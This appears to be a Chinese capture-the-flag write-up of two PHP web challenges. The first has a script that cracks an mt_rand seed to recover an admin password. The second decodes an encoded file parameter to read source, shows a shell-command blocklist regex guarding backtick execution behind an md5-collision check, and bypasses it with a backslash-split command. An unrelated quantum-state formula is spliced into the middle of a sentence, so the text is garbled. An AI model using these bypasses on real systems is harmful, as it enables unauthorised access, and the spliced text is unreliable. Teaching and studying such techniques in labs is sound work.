

1、 young_login

请以admin身份登录

只有admin才能进来

Usermae Password

F12找到代码页

```
function generatePasswd() {  
    mt_srand((double) microtime() * 1000000);  
    var_dump(mt_rand());  
    return substr(md5(mt_rand()), 0, 6);  
}
```

审计代码，发现password由mt_rand伪随机数md5得到，随机数种子由当前微秒得到。

考虑到伪随机数的特性，只要得到种子就可以拿到这里第二次mt_rand()得到的值，从而成功得到admin的password。

因为不知道PHP的伪随机数有没有什么特性，所以打算用PHP写脚本。

首先用post向handler.php发送请求并发送username=admin，可以拿到一个var_dump()出来的随机数，用这个随机数对种子进行爆破，然后就可以对该种子的第二个伪随机数md5得到密码。

脚本如下：

```

<?php
function get_seed($k){
    for($i=0;$i<1000000;$i++){
        mt_srand($i);
        $str=mt_rand();
        if($str == $k){
            return $i;
            break;
        }
    }
}
function generatePasswd($a){
    //mt_srand((double) microtime() * 1000000);
    mt_srand($a);
    var_dump(mt_rand());
    return substr(md5(mt_rand()),0,6);
}
$a=get_seed(13898322);
$passwd = generatePasswd($a);
echo '<br>';
echo $passwd;

```

然后登陆拿flag即可。



int(13898322)
763d59

2、easy bypass

这个题听名字就是代码审计题，但是找了一圈没找到。。。

```
17.106.94.13:40020/index.php?img=TXpVek5UTTfNbVUzTURabE5qYz0=&cmd=
```

注意到这个url上有一串类似于base64的串，而且前面的变量名为img，怀疑这一串就是被处理过的文件名

然后对着这个串base64了两下，发现得到14位的数字字母的串

字母没有超过F的，怀疑是hex，拿去跑一下

```
a = "3535352e706e67"
def hex_to_str(a):
    al = []
    for i in range(0, len(a), 2):
        b = a[i:i+2]
        al.append(chr(int(b, 16)))
    return ''.join(al)
print(hex_to_str(a))
```

得到了555.png，果然是文件名，然后就想读一下index.php，同样的构造方法，可以得到index.php的源码。（图片base64解码）

接着代码审计，有用的就下面这一截

```
if  
    (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcr|p  
aste|diff|file|echo|sh|\`|\`\"|\`\"|;|,|\`*\`|\`?\\\\\\\\\\\\\\\\\\\\\\n\\\\t\\\\r\\\\xA0\\\\{\\\\}\\\\(\\\\)\\\\&  
[^\d]|@|\\\\\\\\\\\\\\\\$|\\\\[\\\\]||{}|\\\\(|\\\\)|-|<|>/i", $cmd)) {  
        echo("forbid ~");  
        echo "<br>";  
    } else {  
        if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']))  
        {  
            echo ` $cmd`;   
        } else {  
            echo ("md5 is funny ~");  
        }  
    }
```

先是对cmd参数的正则过滤，然后就是熟悉的md5相同值的碰撞，因为之前做过类似的题，有积累过可用的串，所以直接拿来用了。

针对之前的正则匹配，在PHP环境中本地测试的时候居然发现不过滤反斜杠（惊了，分明有↓

2. $|\psi\rangle = \frac{1}{\sqrt{2}}(|\uparrow\downarrow\rangle + |\downarrow\uparrow\rangle)$

) 不管他，没过滤反斜杠就直接`c\\md%20f\\lag`了呗，最后写下脚本。

。。。然后最后并没有写脚本，因为python的requests对url的编码导致我一直打不进去，最后干脆就BP直接发了。

